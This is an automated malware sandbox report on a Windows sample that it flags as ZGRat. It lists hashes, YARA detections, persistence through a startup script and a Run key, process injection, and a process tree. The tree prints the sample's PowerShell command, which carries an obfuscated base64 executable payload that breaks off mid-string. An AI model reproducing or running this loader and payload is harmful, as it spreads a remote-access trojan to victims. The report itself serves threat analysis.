Analysis
-
max time kernel
150s -
max time network
155s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
27/01/2024, 12:01
Static task
static1
Behavioral task
behavioral1
Sample
c95f727989fffa10d88d55ab77075efb.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
c95f727989fffa10d88d55ab77075efb.exe
Resource
win10v2004-20231215-en
General
-
Target
c95f727989fffa10d88d55ab77075efb.exe
-
Size
1.3MB
-
MD5
c95f727989fffa10d88d55ab77075efb
-
SHA1
f5096f73c9e4eff3881a99787ccc80d90a82f961
-
SHA256
ea8962f13af1485adc1e179cb764320a2896126bdda1b1d7af2ba5318f140a47
-
SHA512
1139b3f64d843aed133755cb3557965f0fe117d79f096bcd3d70e80a035997a7a3d21a340eb5f6215e80b9c0a821acd036ea5d14f7d9695407046834f2a52b29
-
SSDEEP
24576:z21r5Y3sQdzQ1pqiKSm50p51uNv1r5Y3sQdzQ1pqiKSm50p51uNUhYO84xtyWx:crScQdEu70irScQdEu70jhYOJxtyWx
Malware Config
Signatures
-
Detect ZGRat V1 3 IoCs
resource yara_rule behavioral2/memory/2896-85-0x00000000067D0000-0x00000000067E8000-memory.dmp family_zgrat_v1 behavioral2/memory/2036-89-0x0000000000400000-0x0000000000424000-memory.dmp family_zgrat_v1 behavioral2/memory/5060-90-0x0000000005100000-0x0000000005110000-memory.dmp family_zgrat_v1 -
Blocklisted process makes network request 4 IoCs
flow pid Process 9 3728 WScript.exe 18 3600 powershell.exe 19 3600 powershell.exe 21 2896 powershell.exe -
.NET Reactor proctector 3 IoCs
Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.
resource yara_rule behavioral2/memory/2896-85-0x00000000067D0000-0x00000000067E8000-memory.dmp net_reactor behavioral2/memory/2036-89-0x0000000000400000-0x0000000000424000-memory.dmp net_reactor behavioral2/memory/5060-90-0x0000000005100000-0x0000000005110000-memory.dmp net_reactor -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\Control Panel\International\Geo\Nation c95f727989fffa10d88d55ab77075efb.exe Key value queried \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\Control Panel\International\Geo\Nation WScript.exe -
Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.js c95f727989fffa10d88d55ab77075efb.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Server.exe = "\"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_regbrowsers.exe\"" aspnet_regbrowsers.exe -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 2896 set thread context of 5060 2896 powershell.exe 104 PID 2896 set thread context of 2036 2896 powershell.exe 106 PID 2896 set thread context of 4660 2896 powershell.exe 107 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 1 IoCs
pid pid_target Process procid_target 4864 4648 WerFault.exe 84 -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000_Classes\Local Settings c95f727989fffa10d88d55ab77075efb.exe -
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 9 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 17 IoCs
pid Process 3600 powershell.exe 3600 powershell.exe 2384 powershell.exe 2384 powershell.exe 2384 powershell.exe 2896 powershell.exe 2896 powershell.exe 2896 powershell.exe 2896 powershell.exe 2896 powershell.exe 2896 powershell.exe 2896 powershell.exe 2896 powershell.exe 2896 powershell.exe 2896 powershell.exe 2896 powershell.exe 2896 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3600 powershell.exe Token: SeDebugPrivilege 2384 powershell.exe Token: SeDebugPrivilege 2896 powershell.exe Token: SeDebugPrivilege 2036 aspnet_regbrowsers.exe Token: SeDebugPrivilege 5060 aspnet_regbrowsers.exe Token: 33 5060 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 5060 aspnet_regbrowsers.exe Token: 33 2036 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 2036 aspnet_regbrowsers.exe Token: 33 5060 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 5060 aspnet_regbrowsers.exe Token: 33 2036 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 2036 aspnet_regbrowsers.exe Token: 33 5060 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 5060 aspnet_regbrowsers.exe Token: 33 2036 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 2036 aspnet_regbrowsers.exe Token: 33 5060 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 5060 aspnet_regbrowsers.exe Token: 33 2036 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 2036 aspnet_regbrowsers.exe Token: 33 5060 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 5060 aspnet_regbrowsers.exe Token: 33 2036 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 2036 aspnet_regbrowsers.exe Token: 33 2036 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 2036 aspnet_regbrowsers.exe Token: 33 5060 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 5060 aspnet_regbrowsers.exe Token: 33 5060 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 5060 aspnet_regbrowsers.exe Token: 33 2036 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 2036 aspnet_regbrowsers.exe Token: 33 5060 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 5060 aspnet_regbrowsers.exe Token: 33 2036 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 2036 aspnet_regbrowsers.exe Token: 33 2036 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 2036 aspnet_regbrowsers.exe Token: 33 5060 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 5060 aspnet_regbrowsers.exe Token: 33 2036 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 2036 aspnet_regbrowsers.exe Token: 33 5060 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 5060 aspnet_regbrowsers.exe Token: 33 2036 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 2036 aspnet_regbrowsers.exe Token: 33 5060 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 5060 aspnet_regbrowsers.exe Token: 33 2036 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 2036 aspnet_regbrowsers.exe Token: 33 5060 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 5060 aspnet_regbrowsers.exe Token: 33 2036 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 2036 aspnet_regbrowsers.exe Token: 33 5060 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 5060 aspnet_regbrowsers.exe Token: 33 5060 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 5060 aspnet_regbrowsers.exe Token: 33 2036 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 2036 aspnet_regbrowsers.exe Token: 33 2036 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 2036 aspnet_regbrowsers.exe Token: 33 5060 aspnet_regbrowsers.exe -
Suspicious use of WriteProcessMemory 51 IoCs
description pid Process procid_target PID 4648 wrote to memory of 3728 4648 c95f727989fffa10d88d55ab77075efb.exe 89 PID 4648 wrote to memory of 3728 4648 c95f727989fffa10d88d55ab77075efb.exe 89 PID 4648 wrote to memory of 3728 4648 c95f727989fffa10d88d55ab77075efb.exe 89 PID 3728 wrote to memory of 3600 3728 WScript.exe 90 PID 3728 wrote to memory of 3600 3728 WScript.exe 90 PID 3728 wrote to memory of 3600 3728 WScript.exe 90 PID 3600 wrote to memory of 2384 3600 powershell.exe 95 PID 3600 wrote to memory of 2384 3600 powershell.exe 95 PID 3600 wrote to memory of 2384 3600 powershell.exe 95 PID 2384 wrote to memory of 2896 2384 powershell.exe 101 PID 2384 wrote to memory of 2896 2384 powershell.exe 101 PID 2384 wrote to memory of 2896 2384 powershell.exe 101 PID 2896 wrote to memory of 4472 2896 powershell.exe 102 PID 2896 wrote to memory of 4472 2896 powershell.exe 102 PID 2896 wrote to memory of 4472 2896 powershell.exe 102 PID 2896 wrote to memory of 2028 2896 powershell.exe 103 PID 2896 wrote to memory of 2028 2896 powershell.exe 103 PID 2896 wrote to memory of 2028 2896 powershell.exe 103 PID 2896 wrote to memory of 5060 2896 powershell.exe 104 PID 2896 wrote to memory of 5060 2896 powershell.exe 104 PID 2896 wrote to memory of 5060 2896 powershell.exe 104 PID 2896 wrote to memory of 5060 2896 powershell.exe 104 PID 2896 wrote to memory of 5060 2896 powershell.exe 104 PID 2896 wrote to memory of 5060 2896 powershell.exe 104 PID 2896 wrote to memory of 5060 2896 powershell.exe 104 PID 2896 wrote to memory of 5060 2896 powershell.exe 104 PID 2896 wrote to memory of 2356 2896 powershell.exe 109 PID 2896 wrote to memory of 2356 2896 powershell.exe 109 PID 2896 wrote to memory of 2356 2896 powershell.exe 109 PID 2896 wrote to memory of 1412 2896 powershell.exe 108 PID 2896 wrote to memory of 1412 2896 powershell.exe 108 PID 2896 wrote to memory of 1412 2896 powershell.exe 108 PID 2896 wrote to memory of 4132 2896 powershell.exe 105 PID 2896 wrote to memory of 4132 2896 powershell.exe 105 PID 2896 wrote to memory of 4132 2896 powershell.exe 105 PID 2896 wrote to memory of 2036 2896 powershell.exe 106 PID 2896 wrote to memory of 2036 2896 powershell.exe 106 PID 2896 wrote to memory of 2036 2896 powershell.exe 106 PID 2896 wrote to memory of 2036 2896 powershell.exe 106 PID 2896 wrote to memory of 2036 2896 powershell.exe 106 PID 2896 wrote to memory of 2036 2896 powershell.exe 106 PID 2896 wrote to memory of 2036 2896 powershell.exe 106 PID 2896 wrote to memory of 2036 2896 powershell.exe 106 PID 2896 wrote to memory of 4660 2896 powershell.exe 107 PID 2896 wrote to memory of 4660 2896 powershell.exe 107 PID 2896 wrote to memory of 4660 2896 powershell.exe 107 PID 2896 wrote to memory of 4660 2896 powershell.exe 107 PID 2896 wrote to memory of 4660 2896 powershell.exe 107 PID 2896 wrote to memory of 4660 2896 powershell.exe 107 PID 2896 wrote to memory of 4660 2896 powershell.exe 107 PID 2896 wrote to memory of 4660 2896 powershell.exe 107
Processes
-
C:\Users\Admin\AppData\Local\Temp\c95f727989fffa10d88d55ab77075efb.exe"C:\Users\Admin\AppData\Local\Temp\c95f727989fffa10d88d55ab77075efb.exe"1⤵
- Checks computer location settings
- Drops startup file
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4648 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.js"2⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3728 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LAtEb = 'TVqQ↓:↓↓:↓M↓:↓↓:↓↓:↓↓:↓E↓:↓↓:↓↓:↓↓:↓//8↓:↓↓:↓Lg↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓Q↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓g↓:↓↓:↓↓:↓↓:↓↓:↓4fug4↓:↓t↓:↓nNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJ↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓BQRQ↓:↓↓:↓T↓:↓ED↓:↓JmqXpc↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓O↓:↓↓:↓Ii↓:↓L↓:↓V↓:↓↓:↓↓:↓B4↓:↓↓:↓↓:↓↓:↓G↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓1j0↓:↓↓:↓↓:↓↓:↓g↓:↓↓:↓↓:↓↓:↓Q↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓E↓:↓↓:↓g↓:↓↓:↓↓:↓↓:↓↓:↓g↓:↓↓:↓B↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓G↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓C↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓g↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓M↓:↓YIU↓:↓↓:↓B↓:↓↓:↓↓:↓B↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓E↓:↓↓:↓↓:↓E↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓B↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓II9↓:↓↓:↓BP↓:↓↓:↓↓:↓↓:↓↓:↓E↓:↓↓:↓↓:↓GgD↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓G↓:↓↓:↓↓:↓↓:↓w↓:↓↓:↓↓:↓D↓:↓P↓:↓↓:↓↓:↓O↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓I↓:↓↓:↓↓:↓C↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓CC↓:↓↓:↓↓:↓Eg↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓C50ZXh0↓:↓↓:↓↓:↓↓:↓3B0↓:↓↓:↓↓:↓↓:↓g↓:↓↓:↓↓:↓↓:↓Hg↓:↓↓:↓↓:↓↓:↓I↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓C↓:↓↓:↓↓:↓G↓:↓ucnNyYw↓:↓↓:↓↓:↓GgD↓:↓↓:↓↓:↓↓:↓Q↓:↓↓:↓↓:↓↓:↓↓:↓Q↓:↓↓:↓↓:↓↓:↓g↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓B↓:↓↓:↓↓:↓B↓:↓LnJlbG9j↓:↓↓:↓↓:↓M↓:↓↓:↓↓:↓↓:↓↓:↓G↓:↓↓:↓↓:↓↓:↓↓:↓C↓:↓↓:↓↓:↓↓:↓J↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓Q↓:↓↓:↓↓:↓Qg↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓C2PQ↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓Eg↓:↓↓:↓↓:↓↓:↓C↓:↓↓:↓U↓:↓uCM↓:↓↓:↓F↓:↓Y↓:↓↓:↓↓:↓B↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓g8↓:↓↓:↓C4↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓B4CKBc↓:↓↓:↓↓:↓oqHgIoG↓:↓↓:↓↓:↓Ciqmcxk↓:↓↓:↓↓:↓q↓:↓↓:↓Q↓:↓↓:↓BHMa↓:↓↓:↓↓:↓Kg↓:↓I↓:↓↓:↓↓:↓RzGw↓:↓↓:↓Co↓:↓D↓:↓↓:↓↓:↓Ecxw↓:↓↓:↓↓:↓q↓:↓B↓:↓↓:↓↓:↓BCoufgE↓:↓↓:↓↓:↓RvHQ↓:↓↓:↓CioufgI↓:↓↓:↓↓:↓RvHg↓:↓↓:↓CioufgM↓:↓↓:↓↓:↓RvHw↓:↓↓:↓CioufgQ↓:↓↓:↓↓:↓RvI↓:↓↓:↓↓:↓CirGfgU↓:↓↓:↓↓:↓QUKCE↓:↓↓:↓↓:↓osHnIB↓:↓↓:↓Bw0↓:↓U↓:↓↓:↓↓:↓IoIg↓:↓↓:↓Cm8j↓:↓↓:↓↓:↓KcyQ↓:↓↓:↓↓:↓q↓:↓BQ↓:↓↓:↓BH4F↓:↓↓:↓↓:↓EKhp+Bg↓:↓↓:↓BCoe↓:↓o↓:↓G↓:↓↓:↓↓:↓EKlZzD↓:↓↓:↓↓:↓Bigl↓:↓↓:↓↓:↓Kd↓:↓Y↓:↓↓:↓↓:↓K↓:↓Bw↓:↓↓:↓BCoe↓:↓igm↓:↓↓:↓↓:↓KKhp+Bw↓:↓↓:↓BCoaK↓:↓0↓:↓↓:↓↓:↓YqHgIoJw↓:↓↓:↓Cio↓:↓Gz↓:↓E↓:↓JgB↓:↓↓:↓↓:↓B↓:↓↓:↓↓:↓RKCg↓:↓↓:↓↓:↓oKKCg↓:↓↓:↓↓:↓pyMQ↓:↓↓:↓cCgp↓:↓↓:↓↓:↓KJgQoKg↓:↓↓:↓Ciw0↓:↓28r↓:↓↓:↓↓:↓KBm8r↓:↓↓:↓↓:↓Kbyw↓:↓↓:↓↓:↓oLBywGBxcuGysZ↓:↓x0oLQ↓:↓↓:↓CgMoLg↓:↓↓:↓Cigv↓:↓↓:↓↓:↓KD↓:↓goM↓:↓↓:↓↓:↓Ct4OJSgx↓:↓↓:↓↓:↓KDSgy↓:↓↓:↓↓:↓K3g↓:↓↓:↓I↓:↓↓:↓M↓:↓↓:↓↓:↓oMw↓:↓↓:↓Cn40↓:↓↓:↓↓:↓KEwR+N↓:↓↓:↓↓:↓ChMFczU↓:↓↓:↓↓:↓olKDY↓:↓↓:↓↓:↓pvNw↓:↓↓:↓CiUlcj0↓:↓↓:↓H↓:↓oEQ↓:↓↓:↓Bm84↓:↓↓:↓↓:↓Kbzk↓:↓↓:↓↓:↓pvO↓:↓↓:↓↓:↓ChMEEQRysQ↓:↓↓:↓cHK5↓:↓↓:↓Bwbzo↓:↓↓:↓↓:↓ooEQ↓:↓↓:↓BhMEJSUCKBE↓:↓↓:↓↓:↓ZvO↓:↓↓:↓↓:↓Cm84↓:↓↓:↓↓:↓KKBE↓:↓↓:↓↓:↓YTBREFcrk↓:↓↓:↓HBysQ↓:↓↓:↓cG86↓:↓↓:↓↓:↓KEwVvOw↓:↓↓:↓ChQmKCg↓:↓↓:↓↓:↓pyMQ↓:↓↓:↓cCgp↓:↓↓:↓↓:↓KEwZ+N↓:↓↓:↓↓:↓ChMHczU↓:↓↓:↓↓:↓olKDY↓:↓↓:↓↓:↓pvNw↓:↓↓:↓CiVyvQ↓:↓↓:↓cCgR↓:↓↓:↓↓:↓Gczw↓:↓↓:↓↓:↓pvPQ↓:↓↓:↓ChMHEQdvOQ↓:↓↓:↓CnM8↓:↓↓:↓↓:↓Kbz0↓:↓↓:↓↓:↓oTBxQmEQdyOQE↓:↓cBEFbzo↓:↓↓:↓↓:↓pySQE↓:↓cBEEbzo↓:↓↓:↓↓:↓oTBxEGEQcoPg↓:↓↓:↓Cig/↓:↓↓:↓↓:↓KclkB↓:↓H↓:↓RBigp↓:↓↓:↓↓:↓KFhYVKE↓:↓↓:↓↓:↓↓:↓om3g8lKDE↓:↓↓:↓↓:↓oTCCgy↓:↓↓:↓↓:↓K3g↓:↓qQTQ↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓W↓:↓↓:↓↓:↓↓:↓Pg↓:↓↓:↓↓:↓FQ↓:↓↓:↓↓:↓↓:↓O↓:↓↓:↓↓:↓↓:↓Ig↓:↓↓:↓↓:↓Q↓:↓↓:↓↓:↓↓:↓Bj↓:↓↓:↓↓:↓↓:↓JQE↓:↓↓:↓IgB↓:↓↓:↓↓:↓P↓:↓↓:↓↓:↓↓:↓Ig↓:↓↓:↓↓:↓R4CKEE↓:↓↓:↓↓:↓oqNgIDKEI↓:↓↓:↓↓:↓ooQw↓:↓↓:↓Cioe↓:↓ihE↓:↓↓:↓↓:↓KKi7QCQ↓:↓↓:↓↓:↓igi↓:↓↓:↓↓:↓KKh4CKEU↓:↓↓:↓↓:↓oq↓:↓↓:↓↓:↓TM↓:↓E↓:↓F↓:↓↓:↓↓:↓↓:↓↓:↓I↓:↓↓:↓BECj↓:↓U↓:↓↓:↓BstCCgB↓:↓↓:↓↓:↓rCisC↓:↓goGKiID/hUF↓:↓↓:↓↓:↓bKh4CKCc↓:↓↓:↓↓:↓oq↓:↓↓:↓↓:↓↓:↓Ez↓:↓C↓:↓Cg↓:↓↓:↓↓:↓↓:↓D↓:↓↓:↓↓:↓R↓:↓ntH↓:↓↓:↓↓:↓Kb0g↓:↓↓:↓↓:↓oKBowI↓:↓↓:↓↓:↓bLRIo↓:↓g↓:↓↓:↓KwoCe0c↓:↓↓:↓↓:↓oGb0k↓:↓↓:↓↓:↓oGKkoCKCc↓:↓↓:↓↓:↓oCc0o↓:↓↓:↓↓:↓p9Rw↓:↓↓:↓Cio↓:↓QlNKQgE↓:↓↓:↓Q↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓D↓:↓↓:↓↓:↓↓:↓HY0Lj↓:↓uMz↓:↓zMTk↓:↓↓:↓↓:↓↓:↓↓:↓BQBs↓:↓↓:↓↓:↓↓:↓c↓:↓g↓:↓↓:↓CN+↓:↓↓:↓DcC↓:↓↓:↓↓:↓N↓:↓k↓:↓↓:↓CNTdHJpbmdz↓:↓↓:↓↓:↓↓:↓↓:↓B↓:↓S↓:↓↓:↓D0↓:↓Q↓:↓↓:↓I1VT↓:↓↓:↓QU↓:↓↓:↓↓:↓Q↓:↓↓:↓↓:↓↓:↓I0dVSUQ↓:↓↓:↓↓:↓↓:↓UF↓:↓↓:↓↓:↓P↓:↓Q↓:↓↓:↓CNCbG9i↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓I↓:↓↓:↓↓:↓FXFaIJCQ8↓:↓↓:↓↓:↓D6↓:↓TM↓:↓Fg↓:↓↓:↓↓:↓Q↓:↓↓:↓↓:↓Dc↓:↓↓:↓↓:↓↓:↓K↓:↓↓:↓↓:↓↓:↓C↓:↓↓:↓↓:↓↓:↓Bo↓:↓↓:↓↓:↓↓:↓I↓:↓↓:↓↓:↓↓:↓Sg↓:↓↓:↓↓:↓E↓:↓↓:↓↓:↓↓:↓↓:↓D↓:↓↓:↓↓:↓↓:↓BQ↓:↓↓:↓↓:↓↓:↓k↓:↓↓:↓↓:↓↓:↓K↓:↓↓:↓↓:↓↓:↓C↓:↓↓:↓↓:↓↓:↓↓:↓E↓:↓↓:↓↓:↓↓:↓D↓:↓↓:↓↓:↓↓:↓↓:↓Q↓:↓↓:↓↓:↓↓:↓I↓:↓↓:↓↓:↓↓:↓D↓:↓↓:↓↓:↓↓:↓↓:↓g↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓9gQB↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓G↓:↓KYDrQcG↓:↓BMErQcG↓:↓H0C7gYP↓:↓BsI↓:↓↓:↓↓:↓G↓:↓L4CtgUG↓:↓IkDtgUG↓:↓PoDtgUG↓:↓MYDtgUG↓:↓N8DtgUG↓:↓↓:↓UDtgUG↓:↓KoCZwcG↓:↓CYCZwcG↓:↓FEDtgUG↓:↓C↓:↓DZgQK↓:↓EkCd↓:↓YK↓:↓PYB4↓:↓QK↓:↓JEC4↓:↓QO↓:↓LsBPQcO↓:↓KQG↓:↓QcG↓:↓DkD7gYO↓:↓NUChgcO↓:↓O0Cr↓:↓↓:↓G↓:↓IUIIwUO↓:↓J↓:↓GPQcO↓:↓G4Dr↓:↓↓:↓G↓:↓I4BIwUO↓:↓↓:↓E↓:↓tgQK↓:↓DQCRQUG↓:↓G↓:↓C7gYG↓:↓↓:↓sCrQcG↓:↓F↓:↓GzQcG↓:↓NIFlQUK↓:↓MsBg↓:↓UG↓:↓MgFIwUG↓:↓C0BIwUG↓:↓BEJtgUK↓:↓NYBg↓:↓UG↓:↓K0EZ↓:↓↓:↓G↓:↓JEEIwUO↓:↓GMIhgcG↓:↓LcIIwWn↓:↓D4G↓:↓↓:↓↓:↓G↓:↓FEBZ↓:↓↓:↓O↓:↓Jc↓:↓hgcK↓:↓G↓:↓GlggK↓:↓HYBlggK↓:↓K0IlggG↓:↓F0EzQgK↓:↓MMI4↓:↓QK↓:↓LIEIwUO↓:↓KoFr↓:↓↓:↓O↓:↓FYBr↓:↓↓:↓O↓:↓CoIr↓:↓↓:↓G↓:↓G8IrQcG↓:↓NcGIwU↓:↓↓:↓↓:↓↓:↓↓:↓SQ↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓Q↓:↓B↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓ByBfwISQ↓:↓B↓:↓↓:↓E↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓KIG/↓:↓hN↓:↓↓:↓E↓:↓↓:↓g↓:↓↓:↓↓:↓R↓:↓↓:↓j↓:↓j8CF0↓:↓↓:↓Q↓:↓D↓:↓↓:↓↓:↓B↓:↓↓:↓DvB94HXQ↓:↓F↓:↓↓:↓g↓:↓↓:↓↓:↓EQ↓:↓D8I/↓:↓iF↓:↓↓:↓c↓:↓Cw↓:↓↓:↓↓:↓Q↓:↓↓:↓I↓:↓n8CF0↓:↓C↓:↓↓:↓O↓:↓↓:↓E↓:↓↓:↓↓:↓↓:↓r↓:↓DI↓:↓XQ↓:↓I↓:↓↓:↓8↓:↓BQE↓:↓↓:↓C8H↓:↓↓:↓Bd↓:↓↓:↓g↓:↓Eg↓:↓F↓:↓Q↓:↓↓:↓E↓:↓↓:↓↓:↓↓:↓F0↓:↓C↓:↓↓:↓Z↓:↓DE↓:↓BwZR↓:↓TE↓:↓3gVZ↓:↓TE↓:↓8gVh↓:↓TE↓:↓I↓:↓Zp↓:↓RE↓:↓LwVx↓:↓RE↓:↓qwF1↓:↓RE↓:↓/↓:↓B6↓:↓SE↓:↓5ggi↓:↓V↓:↓g↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓YY4QYG↓:↓↓:↓E↓:↓WC↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓BhjhBgY↓:↓↓:↓QBgI↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓RGOcGtQ↓:↓B↓:↓Iog↓:↓↓:↓↓:↓↓:↓↓:↓BMIlQZ+↓:↓QE↓:↓li↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓EwhiBYMB↓:↓QCiI↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓TCIwGi↓:↓EB↓:↓K4g↓:↓↓:↓↓:↓↓:↓↓:↓BMIHweN↓:↓QE↓:↓ui↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓EwhMBpIB↓:↓QDsI↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓TCJMBlwEB↓:↓PMg↓:↓↓:↓↓:↓↓:↓↓:↓BMInwGd↓:↓QE↓:↓+y↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓ERjnBrU↓:↓↓:↓g↓:↓RIQ↓:↓↓:↓↓:↓↓:↓↓:↓GGOEGB